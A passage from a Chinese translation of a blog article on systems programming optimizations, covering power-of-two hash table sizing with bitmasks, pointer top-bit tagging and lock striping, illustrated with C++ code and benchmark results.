有趣的是,在單線程的情況下,CacheLineAwareCounters需要的掛鐘時間(wall clock time)比多線程情況下要長,這可能指向一些微妙的基準測試問題,或者可能有一個固定的延遲量,但是在多線程時這個延遲量被分散到多個線程中,因此每個線程的延遲量看上去更小了。
神奇的2的乘方(冪)
在當前的硬件中,除法是最昂貴的操作之一,這里的昂貴意味著“最長延遲”。Agner Fog的指令延遲列表列出了英特爾公司Skylake處理器的DIV指令在兩個64位寄存器上運行,其延遲為35-88個周期,而在相同的兩個64位寄存器上運行ADD指令的延遲只有1個周期。因此,在其它操作能夠完成相同工作的地方,我們應該盡量避免使用除法操作。
除了實際做除法外,除法操作常用的一個地方是取模運算(%)。而取模運算的一個常用的地方是hash表:要從一個hash表轉到一個存儲桶(bucket),需要進行HASH % TABLE_SIZE這樣的取模運算。取模運算的另一個更加頻繁使用的地方是開放尋址算法,因為我們需要不斷地將值重新映射回hash表存儲桶空間。
那么,取模運算如何幫助我們從hash表轉到存儲桶呢?這就要講到有點無聊但是很神奇的2的乘方了!
首先,讓我透露答案:我們將強制所有hash表的大小為2的N次方(冪)。
我們可以利用這個特性用更快的位運算(bit twiddling)來代替除法運算。另外,這個特性很容易維護,每當我們需要增加hash表的大小以攤銷rehashing的成本時,我們都會將hash表的大小增加一倍,因此隨著hash表的增長,它的大小將保持為2的冪。
現在,我們使用除法運算或者取模運算,將hash值映射到hash表中的bucket索引上。bucket索引必須嚴格小于hash表的大小,并且這個映射的散列值應該是無序狀態。
為了不使用除法運算,我們將使用位掩碼(bitmask)來“屏蔽”所有的設置位,除了那些嚴格小于2的冪的設置位之外。這種方式可以將所有的entropy保持在最低有效位,就像取模運算一樣,但它要快得多。Agner Fog在相同的英特爾 Skylake體系結構中把這種運算放在1周期延遲的指令列表中。
作為關于位運算(bit twiddling)和解釋如何選擇位掩碼(bitmask)的一個簡單回顧,讓我們來看看一些位模式(bit patterns)。
因為數字是用二進制表示的,所以我們知道每一個2的冪(數值N)只有一個位集。例如:
Decimal | Binary
2 | 00 00 00 10
8 | 00 00 10 00
32 | 00 10 00 00
128 | 10 00 00 00
這意味著所有的N-1的值都比log2(N)的有效位低一位。例如:
Decimal | Binary
1 | 00 00 00 01
7 | 00 00 01 11
31 | 00 01 11 11
127 | 01 11 11 11
因此,為了在HASH % N計算中替代我們的取模運算符,我們使用“按位和(bitwise AND)”運算來計算HASH &(N-1)的值。這將只保留比我們的log_2(N)位低的設置位,將任何HASH值映射到一個[0,N]之間的數字。如果需要,我們甚至可以緩存這個位掩碼,這樣以后就不必重新計算它了。
為了展示使用“位掩碼”技巧比使用普通的取模運算的速度要快,我編寫了一個小基準測試來比較執行一百萬次取模運算和一百萬次“位掩碼”運算的結果。
Executing tests from //examples:power-of-two
-----------------------------------------------------------------------------
2019-08-13 02:24:03
Run on (4 X 2800 MHz CPU s)
CPU Caches:
L1 Data 32K (x2)
L1 Instruction 32K (x2)
L2 Unified 262K (x2)
L3 Unified 4194K (x1)
--------------------------------------------------------
Benchmark Time CPU Iterations
--------------------------------------------------------
BM_Mod 9261 us 9234 us 75
BM_BitMask 325 us 324 us 1984
從上面的測試結果我們可以看到,使用取模操作符執行DIV指令要比使用“位掩碼”大約慢28倍,這個結果接近Agner Fog的慢35倍的預測值。
因為這個技巧很容易做到,并且提供了一個很好的例子,它已經被許多高性能的hash表使用,比如abseil Swiss Tables的flat_hash_set和flat_hash_map,以及ConcurrencyKit’s ck_ht_map。
尋址空間高位(Top Bit)用途的調整
通常情況下,你想在一個指針上存儲一兩個額外的信息。事實上,這種做法非常常見,以至于維基百科有一篇專門關于它的文章。實現這一點的一種方法是利用許多64位系統(如Linux)上的虛擬內存地址空間只有48位的這個特性,盡管我們使用8個字節來存儲它們。
這意味著,我們可以把任何我們想要的舊東西放在前16位,當我們真正不想引用它時,就可以屏蔽掉它。下面是一些使用指針的高位(top bit)來存儲底層數據是否“臟了”的C++代碼示例。
constexpr uintptr_t kDirtyBit=0x8000000000000000;
constexpr uintptr_t kPtrMask=0x7fffffffffffffff;
static_assert(sizeof(uintptr_t)==8, "Only works on 64-bit systems");
template <typename T>
uintptr_t MarkDirty(T* t) {
return reinterpret_cast<uintptr_t>(t) | kDirtyBit;
}
template <typename T>
T* GetPointer(uintptr_t t) {
return reinterpret_cast<T*>(t & kPtrMask);
}
不過,有趣的是,由于這是Linux內存管理/虛擬地址空間的一個特性,所以它可能會發生變化,而且實際上已經發生了變化!
LWN(Linux Weekly News)在2017年發布了補丁集,實現了五級頁表,以支持更大數量的可尋址內存空間。如果啟用這個更改的話,Linux的虛擬內存尋址空間將從現在48位提高到57位,從而將虛擬內存尋址空間的大小從256 TiB增加到128 PiB,這對于每個人來說都足夠了。
默認情況下這個更改無法啟用。部分原因是各種高性能程序,特別是各種JavaScript引擎和 LuaJIT,對尋址空間高位用途的調整會導致一些額外的數據被打包到指針中。
鎖定條帶化(Lock Striping)
當你希望多個線程以獨占方式訪問共享數據時,鎖可以用于互斥。但缺點是,如果共享數據被頻繁訪問,而且這是系統的關鍵部分的話,那么線程可能會將大部分時間花在鎖的爭用上,而不是實際工作上。
解決這個問題的一個常見方法是引入更多的鎖。你說什么?等一下!
好吧,我想說的是:不是一個保護所有數據的鎖,而是有許多只負責一部分數據的鎖。通過這種方式,我們將數據分成獨立的、互不競爭的存儲桶。假設數據訪問方式都傾向于一致的,增加數據的切分會按比例減少爭用鎖的線程數。
下面是用C++寫的一個小例子,提供了線程安全的hash-set的兩種實現。第一個實現ThreadSafeHashSet使用單個鎖來保護單個基礎hash-set(absl::flat_hash_set)。第二個實現LockStripedHashSet有N個單獨的鎖,保護N個單獨的基礎hash-set(abs::flat_hash_sets)。
// Simple thread-safe single-lock hash set
class ThreadSafeHashSet {
public:
void Insert(uint64 i) {
absl::MutexLock lock(&mu_);
hash_set_.insert(i);
}
bool Contains(uint64 i) {
absl::MutexLock lock(&mu_);
return hash_set_.contains(i);
}
private:
absl::Mutex mu_;
absl::flat_hash_set<uint64> hash_set_;
};
// Chunk the data into `kNumChunks` separate hash sets, guarded by separate
// locks.
template <size_t kNumChunks>
class LockStripedHashSet {
public:
void Insert(uint64 i) {
// Mod the data to calculate which hash_set/lock to use
const size_t idx=i % kNumChunks;
absl::MutexLock lock(&mu_[idx]);
hash_set_[idx].insert(i);
}
bool Contains(uint64 i) {
const size_t idx=i % kNumChunks;
absl::MutexLock lock(&mu_[idx]);
return hash_set_[idx].contains(i);
}
private:
std::array<absl::Mutex, kNumChunks> mu_;
std::array<absl::flat_hash_set<uint64>, kNumChunks> hash_set_;
};
為了說明鎖定條帶化的好處,我們在多個線程存在的情況下對兩個線程安全的hash-set性能進行了基準測試,每個線程都插入了一百萬項。對于LockStripedHashSet,我們嘗試將數據拆分成4塊和8塊。結果如下:
Executing tests from //examples:lock-striping
-----------------------------------------------------------------------------
2019-08-24 22:24:37
Run on (4 X 2800 MHz CPU s)
CPU Caches:
L1 Data 32K (x2)
L1 Instruction 32K (x2)
L2 Unified 262K (x2)
L3 Unified 4194K (x1)
--------------------------------------------------------------------------
Benchmark Time CPU Iterations
--------------------------------------------------------------------------
BM_SingleLock/threads:1 65 ms 65 ms 11
BM_SingleLock/threads:2 140 ms 254 ms 2
BM_SingleLock/threads:3 140 ms 332 ms 3
BM_SingleLock/threads:4 142 ms 405 ms 4
BM_LockStriping_4_Chunks/threads:1 71 ms 69 ms 9
BM_LockStriping_4_Chunks/threads:2 90 ms 178 ms 4
BM_LockStriping_4_Chunks/threads:3 89 ms 248 ms 3
BM_LockStriping_4_Chunks/threads:4 82 ms 299 ms 4
BM_LockStriping_8_Chunks/threads:1 70 ms 69 ms 10
BM_LockStriping_8_Chunks/threads:2 74 ms 143 ms 4
BM_LockStriping_8_Chunks/threads:3 71 ms 198 ms 3
BM_LockStriping_8_Chunks/threads:4 60 ms 200 ms 4
同樣地,Time代表每個線程的掛鐘時間(wall clock time),CPU代表每個線程使用的CPU時間。另外請注意,由于我的機器只有4個邏輯內核,所以這個測試最多只能運行4個線程,因為超出這個范圍的任何線程實際上都不會導致任何額外的爭用。
從上面我們可以看到,在單線程的情況下,LockStripedHashSet無論是分塊或不分塊,掛鐘時鐘和CPU時間上的表現都比簡單的ThreadSafeHashSet稍差。
然而,隨著線程數量的增加,對鎖的爭用增加,LockStripedHashSet在這種情況下性能要好得多。在線程數較高的情況下,將數據拆分成8塊優于拆分成4塊的情況。
雖然鎖定條帶化可以幫助減輕對鎖的爭用,但它的缺點是增加了鎖的存儲開銷。在我們的示例中,7個額外的鎖和額外的absl::flat_hash_set簿記的開銷對于我們的基準中的一個實例來說是很小的,但是如果你在一個應用程序中用一個8路條帶化的線程安全的hash-set替換所有這些散列集,那么你可能會使其內存使用量大大增加。
結束語
雖然以上還遠遠不是最常見的系統編程技巧的詳盡列表,但希望它能激發你進一步學習的欲望,掌握更多的工具來提高你自己的應用程序的性能,或者至少它能讓你更容易地理解為什么性能敏感的代碼在做它正在做的事情。
原文:https://paulcavallaro.com/blog/common-systems-programming-optimizations-tricks/
本文為 CSDN 翻譯,轉載請注明來源出處。
【End】